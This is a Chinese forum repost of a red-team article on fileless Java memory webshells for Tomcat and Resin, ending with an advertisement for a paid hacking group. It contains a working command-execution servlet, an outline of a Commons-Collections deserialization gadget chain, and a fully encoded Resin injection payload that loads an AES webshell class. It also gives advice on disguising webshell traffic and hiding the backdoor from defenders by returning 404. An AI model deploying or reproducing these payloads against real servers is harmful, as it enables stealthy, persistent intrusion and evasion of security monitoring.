本帖最后由 ivi 于 2023-9-12 21:57 编辑
じ北鼻╮じ底儿╮ Lambda小队 2023-07-31 07:18 发表于浙江
免责声明 本公众号致力于安全研究和红队攻防技术分享等内容,本文中所有涉及的内容均不针对任何厂商或个人,同时由于传播、利用本公众号所发布的技术或工具造成的任何直接或者间接的后果及损失,均由使用者本人承担。请遵守中华人民共和国相关法律法规,切勿利用本公众号发布的技术或工具从事违法犯罪活动。最后,文中提及的图文若无意间导致了侵权问题,请在公众号后台私信联系作者,进行删除操作。 0x01
序上个篇章简单从tomcat的运行原理介绍了内存马为什么可行,以及实现的思想主要就是借助java反射的灵活性,动态创建servlet、filter、linstener以及Spring框架下创建controller等。 但是由于篇幅有限,仅仅给出了一个传统jsp打入内存马的案例,今天这篇文章,将会介绍真正的无文件内存马(不借助jsp)以及内存马的几个实用性改造。 0x02
无文件内存马这种内存马的适用场景在于反序列化、JNDI、模版注入等可以任意代码执行的漏洞场景下。由于该系列面向的是小白,所以并不过多展开讲反序列化等漏洞的原理,仅给出推荐的学习路线,网上也很有很多非常优质的学习资料,推荐Su18大佬的博客和p牛的java安全漫谈。 0x03
Tomcat的通用回显(789版本)
调用链如下:
- Thread.currentThread().getThreadGroup() —>
- NioEndpoint$Poller —>
- NioEndpoint—>
- AbstractProtocol$ConnectoinHandler—>
- RequestGroupInfo(global)—>
- RequestInfo—>
- Request–>
- Response
复制代码
示例代码
- import org.apache.coyote.*;
- import javax.servlet.ServletException;
- import javax.servlet.annotation.WebServlet;
- import javax.servlet.http.HttpServlet;
- import javax.servlet.http.HttpServletRequest;
- import javax.servlet.http.HttpServletResponse;
- import java.io.BufferedReader;
- import java.io.IOException;
- import java.io.InputStreamReader;
- import java.io.Writer;
- import java.lang.reflect.Field;
- import java.util.ArrayList;
- @WebServlet(name = "TomcaEchoServlet", value = "/TomcatEchoServlet")
- public class TomcatEchoServlet extends HttpServlet {
- @Override
- protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
- boolean flag=false;
- String cmd = request.getParameter("cmd");
- try {
- Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");
- for(int i=0;i< threads.length;i++){
- Thread thread=threads[i];
- String threadName=thread.getName();
- try{
- Object target= getField(thread,"target");
- Object this0=getField(target,"this$0");
- Object handler=getField(this0,"handler");
- Object global=getField(handler,"global");
- ArrayList processors=(ArrayList) getField(global,"processors");
- for (int j = 0; j < processors.size(); j++) {
- RequestInfo requestInfo = (RequestInfo) processors.get(j);
- if(requestInfo!=null){
- Request req=(Request) getField(requestInfo,"req");
- org.apache.catalina.connector.Request request1 =(org.apache.catalina.connector.Request) req.getNote(1);
- org.apache.catalina.connector.Response response1 =request1.getResponse();
- Runtime r = java.lang.Runtime.getRuntime();
- Writer writer=response.getWriter();
- writer.flush();
- try {
- Process p = r.exec(cmd);
- BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()),1024);
- while (br.read()!=-1){
- writer.write(br.readLine());
- }
- }catch (Exception e){}
- flag=true;
- if(flag){
- break;
- }
- }
- }
- }catch (Exception e){
- e.printStackTrace();
- }
- if(flag){
- break;
- }
- }
- } catch (Exception e){
- e.printStackTrace();
- }
- }
- public static Object getField(Object obj,String fieldName) throws Exception{
- Field field=null;
- Class clas=obj.getClass();
- while(clas!=Object.class){
- try{
- field=clas.getDeclaredField(fieldName);
- break;
- }catch (NoSuchFieldException e){
- clas=clas.getSuperclass();
- }
- }
- if (field!=null){
- field.setAccessible(true);
- return field.get(obj);
- }else{
- throw new NoSuchFieldException(fieldName);
- }
- }
- @Override
- protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
- }
- }
复制代码
运行效果: 0x04
反序列化打入内存马 我们在讲反序列化前再回顾一下内存马的前置条件,第一章有提到是需要能动态注册那些恶意servlet、listener、filer,CC11这条链在CommonsCollections3.1-3.2.1版本、无JDK版本限制打入内存马。
利用链如下: - java.io.objectInputstream.readObject() ->
- java.util.Hashset.readobject() ->
- java.util.HashMap.put() ->
- java.util.HashMap.hash() ->
- org.apache.commons.collections.keyvalue.TiedMapEntry.hashcode() ->
- org.apache.commons.collections.keyvalue.TiedMapEntry.getvalue() ->
- org.apache.commons.collections.map.LazyMap.get() ->
- org.apache.commons.collections.functors.InvokerTransformer.transform() ->
- java.lang.reflect.Method.invoke()
- ... templates gadgets ...
- java.lang.Runtime.exec()
复制代码
相关基础知识可以补课java安全漫谈的反射篇(1,2,3)、《Java中动态加载字节码的那些方法》。 0x05
实用性改造鉴于此篇主要是面向的是java小白,所以在反序列化和类加载这类原理上没有过多赘述,直接给出一些实用性的建议,目前很多工具已经实现了一键打入内存马,所以我们很多情况下只要做个脚本小子就好了。 不过,默认的冰蝎、哥斯拉往往都是流量设备重点关注对象,我们可以考虑在流量层面做一些改造,如将哥斯拉的通讯流量伪装成文件上传的包,或者改成json的包来欺骗流量设备。我们还可以自定义请求头使用getheader来判断是否为我们的客户端发送的包,如果是防守方直接请求而且没有带着我们指定的header就返回404,从而让其认为页面不存在。
客户端方面,我们可以使用随机变化的请求资源地址,使用filer或者valve类型的内存马,他们不需要特定路径全局生效,这样可以避免对同一路径造成过多的请求。 如果是有一定diy能力的小伙伴,可以尝试一下更加灵活的小马拉大马思路,小马是一个JavaScriptEngine,他也可以执行任意代码,通过构造不同的poc来实现不同的功能,这边给出一个Resin内存马的案例。
- new
- javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("cod
- e"), new javax.script.SimpleBindings(new java.util.HashMap() {{
- put("response", response);
- put("request", request);
- }}));
- code=url=String.fromCharCode(47,113,97,120,110,98);name=String.fromCharCode(113,97,120,110,98);req=java.lang.Thread.currentThread().getContextClassLoader().loadClass(String.fromCharCode(99,111,109,46,99,97,117,99,104,111,46,115,101,114,118,101,114,46,100,105,115,112,97,116,99,104,46,83,101,114,118,108,101,116,73,110,118,111,99,97,116,105,111,110)).getMethod(String.fromCharCode(103,101,116,67,111,110,116,101,120,116,82,101,113,117,101,115,116)).invoke(null);en=req.getParameter(String.fromCharCode(99));print(en);cb=java.util.Base64.getDecoder().decode(en);loader = java.lang.Thread.currentThread().getContextClassLoader();methods = java.lang.ClassLoader.class.getDeclaredMethods();for(m in methods){if(methods[m].getName().equals(String.fromCharCode(100,101,102,105,110,101,67,108,97,115,115))){if(methods[m].getParameterCount()==3) {if(methods[m].getParameterTypes()[0].getName()!=String.fromCharCode(106,97,118,97,46,108,97,110,103,46,83,116,114,105,110,103)){print(methods[m]);dfm=methods[m];}}}}dfm.setAccessible(true);scs=dfm.invoke(loader,cb,0,cb.length);webapp=req.getClass().getMethod(String.fromCharCode(103,101,116,87,101,98,65,112,112)).invoke(req);sm=new com.caucho.server.dispatch.ServletMapping();sm.addURLPattern(url);sm.setServletName(name);sm.setServletClass(scs.getName());webapp.addServletMapping(sm);print(req.getParameter(String.fromCharCode(99)));&c=yv66vgAAADQAuAoALQBRCQBSAFMIAFQKAFUAVgsAVwBYBwBZCgAGAFEIAEcKAAYAWggASQgANwgAWwgAXAsAXQBeCABfCgBgAGEHAGIKAGMAZAoAEQBlCgBgAGYIAGcKABgAaAgAaQcAagcAQgkAawBsCgAYAG0KAG4AbwcAcAoAHQBRCwBXAHEKAHIAcwoAHQB0CgBgAHUKACUAdgoAGAB3BwB4CgBrAHkKAG4AegoAGAB7CgAlAHwHAH0KACoAfgcAfwcAgAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAKTG1zL1Jlc2luOwEABmRvUG9zdAEAUihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAAdzZXNzaW9uAQAgTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAAtwYWdlQ29udGV4dAEAE0xqYXZhL3V0aWwvSGFzaE1hcDsBAAFrAQASTGphdmEvbGFuZy9TdHJpbmc7AQABYwEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEABm1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAOZXZpbGNsYXNzX2J5dGUBAAJbQgEACWV2aWxjbGFzcwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAA1TdGFja01hcFRhYmxlBwB9AQAKRXhjZXB0aW9ucwcAgQEAClNvdXJjZUZpbGUBAApSZXNpbi5qYXZhDAAuAC8HAIIMAIMAhAEAHT09PT09PT09PT1EbyBmaWx0ZXI9PT09PT09PT09BwCFDACGAIcHAIgMAIkAigEAEWphdmEvdXRpbC9IYXNoTWFwDACLAIwBABBlNDVlMzI5ZmViNWQ5MjViAQABdQcAjQwAjgCPAQADQUVTBwCQDACRAJIBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjBwCTDACUAJUMAC4AlgwAlwCYAQAVamF2YS5sYW5nLkNsYXNzTG9hZGVyDACZAJoBAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwcAmwwAnABEDACdAJ4HAJ8MAKAAoQEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAKIAowcApAwApQCmDACnAKgMAKkAqgwAqwCsDACtAK4BABBqYXZhL2xhbmcvT2JqZWN0DACvALAMALEAsgwAswC0DAC1ALYBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAC3AC8BAAhtcy9SZXNpbgEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEACHB1dFZhbHVlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBABBqYXZhL2xhbmcvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQAJZ2V0UmVhZGVyAQAaKClMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkb0ZpbmFsAQAGKFtCKVtCAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAPcHJpbnRTdGFja1RyYWNlACEALAAtAAAAAAACAAEALgAvAAEAMAAAAC8AAQABAAAABSq3AAGxAAAAAgAxAAAABgABAAAADgAyAAAADAABAAAABQAzADQAAAABADUANgACADAAAAHIAAYACgAAANuyAAISA7YABCu5AAUBAE67AAZZtwAHOgQZBBIIK7YACVcZBBIKLLYACVcZBBILLbYACVcSDDoFLRINGQW5AA4DABIPuAAQOgYZBgW7ABFZGQW2ABISD7cAE7YAFBIVuAAWEhcGvQAYWQMSGVNZBLIAGlNZBbIAGlO2ABs6BxkHBLYAHBkGuwAdWbcAHiu5AB8BALYAILYAIbYAIjoIGQcqtgAjtgAkBr0AJVkDGQhTWQQDuAAmU1kFGQi%2BuAAmU7YAJ8AAGDoJGQm2ACgZBLYAKVenAAhOLbYAK7EAAQAAANIA1QAqAAMAMQAAAE4AEwAAABEACAASAA8AEwAYABQAIQAVACoAFgAzABcANwAYAEEAGQBIABoAXAAbAH0AHACDAB0AnQAeAMcAHwDSACIA1QAgANYAIQDaACMAMgAAAHAACwAPAMMANwA4AAMAGAC6ADkAOgAEADcAmwA7ADwABQBIAIoAPQA%2BAAYAfQBVAD8AQAAHAJ0ANQBBAEIACADHAAsAQwBEAAkA1gAEAEUARgADAAAA2wAzADQAAAAAANsARwBIAAEAAADbAEkASgACAEsAAAAJAAL3ANUHAEwEAE0AAAAEAAEATgABAE8AAAACAFA%3D
复制代码 匿名函数星球已经迁移到纷传平台,并设置88元永久VIP,限前200名加入者,加入小密圈后,你将收获小队自研内部工具,最前沿的小队成员红队经验总结,最新的安全学习资料和工具分享。
|